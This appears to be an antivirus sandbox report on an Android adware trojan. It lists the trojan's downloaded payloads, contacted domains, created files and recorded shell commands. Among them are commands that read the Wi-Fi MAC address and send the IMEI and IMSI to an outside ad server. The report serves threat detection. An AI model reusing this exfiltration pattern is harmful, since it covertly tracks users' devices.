Technical information
Malicious functions:
Executes code of the following detected threats:
- Android.HiddenAds.76.origin
Downloads the following detected threats from the Web:
- Android.HiddenAds.76.origin
Removes its shortcut from the home screen.
Network activity:
Connecting to:
- ad####.live
- i####.####.cn
HTTP GET requests:
- i####.####.cn/iplookup/iplookup.php?format=####
HTTP POST requests:
- ad####.live/ad/adc?fkk9ll=####&cvsds=####&gffw=####&frrw=####&wdazz=####...
Modified file system:
Creates the following files:
- <Package Folder>/cache/####/dk.jar
- <Package Folder>/cache/####/ek.jar
- <Package Folder>/databases/easv.data-journal
- <Package Folder>/databases/plug.dataBase
- <Package Folder>/databases/plug.dataBase-journal
- <Package Folder>/databases/sklead.dataBase
- <Package Folder>/databases/sklead.dataBase-journal
- <Package Folder>/databases/webview.db-journal
- <Package Folder>/files/DEAB89CE10FEAA11
- <Package Folder>/shared_prefs/SSPPrefe.xml
- <Package Folder>/shared_prefs/SSPPrefe.xml.bak
- <Package Folder>/shared_prefs/kokId.xml
- <Package Folder>/shared_prefs/local_storage0.xml
- <Package Folder>/shared_prefs/local_storage1.xml
- <Package Folder>/shared_prefs/local_storage1.xml.bak
- <Package Folder>/shared_prefs/sp.xml
- <Package Folder>/shared_prefs/sp.xml.bak
Miscellaneous:
Executes next shell scripts:
- /data/data/gohuli.tidelete.shenliil/lib/libnat-lib3537.so -pkg gohuli.tidelete.shenliil -pid 2073 -svr gohuli.tidelete.shenliil/com.pingpong.ball.keep.ClockService -url http://www.adjust.live/ad/adc?ohmamami=ohno&fkk9ll=356507059351895&cvsds=250026699187743&frrw=64500&f4rr=00:00:00:00:00:11 -log
- /data/data/gohuli.tidelete.shenliil/lib/libnat-lib3537.so -pkg gohuli.tidelete.shenliil -pid 2146 -svr gohuli.tidelete.shenliil/com.pingpong.ball.keep.ClockService -url http://www.adjust.live/ad/adc?ohmamami=ohno&fkk9ll=356507059351895&cvsds=250026699187743&frrw=64500&f4rr=00:00:00:00:00:11 -log
- <dexopt>
- cat /sys/class/net/wlan0/address
- sh <Package Folder>/lib/libnat-lib3537.so -pkg <Package> -pid 2073 -svr <Package>/com.pingpong.ball.keep.ClockService -url http://www.adjust.live/ad/adc?ohmamami=ohno&fkk9ll=<IMEI>&cvsds=<IMSI>&frrw=64500&f4rr=00:00:00:00:00:11 -log
- sh <Package Folder>/lib/libnat-lib3537.so -pkg <Package> -pid 2146 -svr <Package>/com.pingpong.ball.keep.ClockService -url http://www.adjust.live/ad/adc?ohmamami=ohno&fkk9ll=<IMEI>&cvsds=<IMSI>&frrw=64500&f4rr=00:00:00:00:00:11 -log
